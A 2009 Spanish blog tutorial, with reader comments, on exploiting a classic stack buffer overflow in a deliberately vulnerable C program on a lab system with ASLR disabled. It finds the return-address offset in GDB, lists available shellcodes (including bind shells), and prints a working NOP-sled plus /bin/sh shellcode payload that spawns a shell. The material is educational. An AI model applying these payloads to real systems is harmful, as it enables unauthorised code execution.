Buffer Overflow: Smashing the Stack

2009 Febrero 9
by Overclock_Orange

Demostración de la explotación de un ejemplo de Buffer Overflow , en el que se gana una Shell (/bin/sh). En este ejemplo el stack no se encuentra randomizado, cosa que seteamos con:

root[at]rondamon [~]~> sysctl kernel.randomize_va_space=0

El codigo fuente (ANSI C):

/*filename: pintar.c*/
/*Buffer Overflow Example*/

#include
int main(int argc, char **argv)
{
                char buf[128
];
                memset(buf, (char)0, sizeof(buf));

                if (argc == 2)
                {
                        strcpy(buf, argv[1]);
                }

                printf("Pintar : %s\n", buf);
                printf("Buffer: %p\n", buf) ;
                printf("Otro: %p\n", argv[1]);
}

Compilamos el codigo de fuente, claramente vulnerable por la función strcpy(), con GCC:

facundo[at]rondamon [~]~>
 gcc -fno-stack-protector pintar.c -o pintar

Una vez compilado comprobamos que el programa sea vulnerable:

facundo[at]rondamon [~]~>
 ./pintar `python -c 'print "\x41"*200'`
Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buffer: 0xbfffef74
Violación de segmento

Iniciamos GDB (The Gnu Debugger):

facundo[at]rondamon [~]~> gdb pintar
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type
"show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
gdb$ file pintar

Una vez iniciado GDB vamos a analizar un poquito esto.

gdb$ r `python -c 'print "\x41"*128'`
Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buffer: 0xbfffefe4
Otro: 0xbffff2a0

Program received signal SIGSEGV, Segmentation fault.
0x41414141:     Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

El programa cae, lo que hacemos con \x41 (A en hexadecimal), es imprimir 128 veces la letra A. Provocando el overflow.

Veamos un poquito los registros:

EAX: 00000011
EBX: B7FD2FF4
ECX: BFFFF000
EDX: B7FD40F0
ESI: 080484D0
EDI: 08048350
EBP: BFFFF0D8
ESP: BFFFF000
EIP: 41414141
CS: 0073
DS: 007B
ES: 007B
FS: 0000
GS: 0033
SS: 007B

Como vemos hay algo muy interesante aqui, y es el registro EIP (Extended Instruction Pointer – Puntero extendido de instrucciones ) Este registro lo que hace es almacenar la próxima dirección de memoria que sera ejecutada.

Por lo cual, si podemos manipular el EIP, podemos hacer que apunte a donde nosotros hemos intruducido nuestro código arbitrario, cambiando el RET (dirección de retorno) a donde nosotros queramos.

Separemos un poco las cosas, para ver que parte de lo que nosotros intruducimos, se refiere al EIP.

gdb$ r `python -c 'print "\x41"*24+"\x90"*4+"\x41"*100'`
Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buffer: 0xbfffefe4
Otro: 0xbffff2a0

Program received signal SIGSEGV, Segmentation fault.
0x90909090:     Error while running hook_stop:
Cannot access memory at address 0x90909090
0x90909090 in ?? ()

Lo que hicimos fue imprimir  "\x41" unas 24 veces, "\x90" unas 4 veces, y otra vez "\x41" pero por 100 veces.

Si usamos un poquíto las matemáticas podemos hacer esta simple suma:

24 bytes + 4 bytes + 100 bytes = 128 bytes

Como podemos ver, los "\x90" que introducimos representan al registro EIP.

Por lo cual nuestro código arbitrario tendra el siguiente formato:

CARACTERES + DIRECCION DE RETORNO + NOP + SHELLCODE

De esta manera, las A se utilizaran para llenar la primera parte del buffer, la dirección de retorno apuntara a donde se introducen nuestros "\x90" o mejor llamados NOP y una vez ejecutados los NOP, llegaran a nuestra shellcode, esta se ejecutara y ganaremos el acceso a la shell.

NOP en Ensamblador es un No Operation , esta instrucción le dice al procesador que avanze un ciclo sin hacer nada. Básicamente lo que hacemos es lo siguiente:

No Operation

Funcionamiento de la inyección de código

Se debe recordar que la memoria solo puede ser almacenada en multiplos de

"word". Una word en nuestro caso es 4 bytes, o 32 bits. Por lo tanto 12 bytes ocupan 3 word, 5 bytes ocupan 2 word y nuestro buffer de 128 bytes ocupa 32 words.

Vamos a comenzar a explotear esto, busquemos alguna shellcode acorde a nustro sistema (en mi caso la arquitectura es x86).

facundo[at]rondamon [~] $~> rasc -L
arm.linux.binsh        47   Runs /bin/sh
arm.linux.suidsh       67   Setuid and runs /bin/sh
arm.linux.bind        203   Binds /bin/sh to a tcp port
armle.osx.reverse     151   iPhone reverse connect shell to HOST
dual.linux.binsh       99   x86/ppc MacOSX /bin/sh shellcode
dual.osx.binsh        121   Runs /bin/sh (works also on x86) (dual)
mips.linux.binsh       87   Runs /bin/sh (tested on loongson2f).
ppc.osx.adduser       219   Adds a root user named 'r00t' no pass.
ppc.osx.binsh         152   Executes /bin/sh
ppc.osx.binsh0         72   Executes /bin/sh (with zeroes)
ppc.osx.bind4444      224   Binds a shell at port 4444
ppc.osx.reboot         28   Reboots the box
ppc.bsd.binsh         119   Runs /bin/sh
sparc.linux.binsh     216   Runs /bin/sh on sparc/linux
sparc.linux.bind4444  232   Binds a shell at TCP port 4444
x64.linux.binsh        46   Runs /bin/sh on 64 bits
x86.bsd.binsh          46   Executes /bin/sh
x86.bsd.binsh2         23   Executes /bin/sh
x86.bsd.suidsh         31   Setuid(0) and runs /bin/sh
x86.bsd.bind4444      104   Binds a shell at port 4444
x86.bsdlinux.binsh     38   Dual linux/bsd shellcode runs /bin/sh
x86.freebsd.reboot      7   Reboots target box
x86.freebsd.reverse   126   Reboots target box
x86.linux.adduser      88   Adds user 'x' with password 'y'
x86.linux.bind4444    109   Binds a shell at TCP port 4444
x86.linux.binsh        24   Executes /bin/sh
x86.linux.binsh1       31   Executes /bin/sh
x86.linux.binsh2       36   Executes /bin/sh
x86.linux.binsh3       50   Executes /bin/sh or CMD
x86.linux.udp4444     125   Binds a shell at UDP port 4444
x86.netbsd.binsh       68   Executes /bin/sh
x86.openbsd.binsh      23   Executes /bin/sh
x86.openbsd.bind6969  147   Executes /bin/sh
x86.osx.binsh          45   Executes /bin/sh
x86.osx.binsh2         24   Executes /bin/sh
x86.osx.bind4444      112   Binds a shell at port 4444
x86.solaris.binsh      84   Runs /bin/sh
x86.solaris.binshu     84   Runs /bin/sh (toupper() safe)
x86.solaris.bind4444  120   Binds a shell at port 4444
x86.w32.msg           245   Shows a MessageBox
x86.w32.cmd           164   Runs cmd.exe and ExitThread
x86.w32.adduser       224   Adds user 'x' with password 'y'
x86.w32.bind4444      345   Binds a shell at port 4444
x86.w32.tcp4444       312   Binds a shell at port 4444

Bien aquí hay una interesante es: x86.linux.binsh y pesa solamente 24 bytes y como toda toda shellcode mientras mas corta mejor, esta viene genial. Su acción es ejecutar la shell  /bin/sh. Veamos la shellcode:

facundo[at]rondamon [~]~>
 rasc -i x86.linux.binsh -e
"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53
\x89\xe1\x99\xb0\x0b\xcd\x80"

Lo que en formato C seria:

unsigned char shellcode[] = {
  0x41, 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f,
  0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0x99, 0xb0,
  0x0b, 0xcd, 0x80,
};

Bien, ya tenemos la shellcode ahora vamos a ver como podemos lograr la shell, volvemos a gdb. Vamos a modificar la parte correspondiente al registro EIP (Dir. de Retorno), para ver las cosas mas claras a la hora de examinar la memoria lo remplazamos por "\x61" letra "a" (minuscula) en hexadecimal.

(gdb) r `python -c 'print "\x41"*24+"\x61\x61\x61\x61"+"\x90"*75
+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPh//shh/bin
Buffer: 0xbfffefe4
Otro: 0xbffff2a4

Program received signal SIGSEGV, Segmentation fault.
0x90909090:     Error while running hook_stop:
Cannot access memory at address 0x61616161
0x90909090 in ?? ()

Si vemos el registro EIP:

EIP: 61616161

Bien, vemos que EIP se sigue sobreescribiendo, ahora deberiamos conocer la posición de memoria donde comienzan nuestros NOP, para poder apuntar la dirección de retorno que pisamos a los NOP.

Inspeccionemos la memoria, especificamente al registro ESP (Extended Stack Pointer ), el cual es un puntero a la parte superior de la pila.

<(gdb) x/400h $esp

0xbffff270:     0x6361  0x6e75  0x6f64  0x492f  0x666e  0x726f  0xc36d  0x74a1
0xbffff280:     0x6369  0x2f61  0x7542  0x6666  0x7265  0x4f20  0x6576  0x6672
0xbffff290:     0x6f6c  0x2f77  0x6a45  0x6d65  0x6c70  0x736f  0x702f  0x6e69
0xbffff2a0:     0x6174  0x0072  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbffff2b0:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x6161  0x6161
0xbffff2c0: 
    0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090

0xbffff2d0:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff2e0:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff2f0:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff300:     0x9090  0x9090  0x9090  0x9090  0x9090  0x4190  0xc031  0x6850
0xbffff310:     0x2f2f  0x6873  0x2f68  0x6962  0x896e  0x50e3  0x8953  0x99e1

Ops!!, que interesante, encontramos nuestros "\x41", los "\x61" correspondientes a la nueva dirección de retorno, y finalmente los NOP ("\x90"), más una parte de la shellcode.

Bien ya conocemos a donde tiene que apuntar nuestra nueva dirección de retorno, a 0xbffff2c0, ya que alli comienzan los NOP.

Así que ahora simplemente modificamos eso en el string que le estabamos tirando al programa vulnerable.

Empezando de atras hacia adelante, deberia quedar así "\xc0\xf2\xff\xbf" .

(gdb) r `python -c 'print "\x41"*24+"\xc0\xf2\xff\xbf"+"\x90"*75
+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��A1�Ph//shh/bin��PS�̀
Buffer: 0xbfffefe4
Otro: 0xbffff2a3
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
sh-3.2$

Y hemos ganado la shell :-), este es solo un ejemplo, pero que demuestra claramente el proceso mediante el cual se puede explotear algo. No realizen este experimento sin la supervisión de un adulto.

4 comentarios dejar un →
  1. 2009 Febrero 9

    Hey man , muy bueno segui adelante, recien viste la punta del iceberg
    Slds

  2. 2009 Junio 27

    Muy bueno…al principio…. pero al final ya esta mal explicado, por ejemplo no se entiende de donde sale “\xc0\xf2\xff\xbf”.
    - Cuando obtuviste el EIP: 61616161 .. luego donde lo utilizaste?
    - Tu nueva direccion de retorno: 0xbffff2c0 , luego donde la utilizaste?

    - rasc….de que herramienta es??? no logro encontrarla.

    …yo utilizo el Ubunto 9.04 (x86)

    Espero que lo aclarés para que quede todo perfecto.

    Saludos.

  3. 2009 Junio 28

    Junior: Este blog esta abandonado hace ya un tiempo, te recomiendo que visites: http://www.codigounix.com.ar, que es la continuacion de este.

    1- “\xc0\xf2\xff\xbf” es 0xbffff2c0, al revéz, dado vueltas, se entiende?

    2- \x61\x61\x61\x61 => Lo utilizo solamente par a calcular donde esta el EIP, nada mas, no se utiliza mas, podes poner x61, x80, x65 o lo que quieras, es solamente para no perder vista al registro.

    3- El 0xbffff2c0 es una dirección de memoria donde estan los NOP, osea apunto a cualquier region de la memoria donde se encuentren los NOP.

    4-Ubuntu, que fea distro, de todas formas, mis contenidos no son aptos para ubunteros.

    Saludos!

Escribe un comentario

Nota: Puede usar XHTML básico en sus comentarios. Su dirección de correo electrónico nunca será publicada.

Subscripción al comentario vía RSS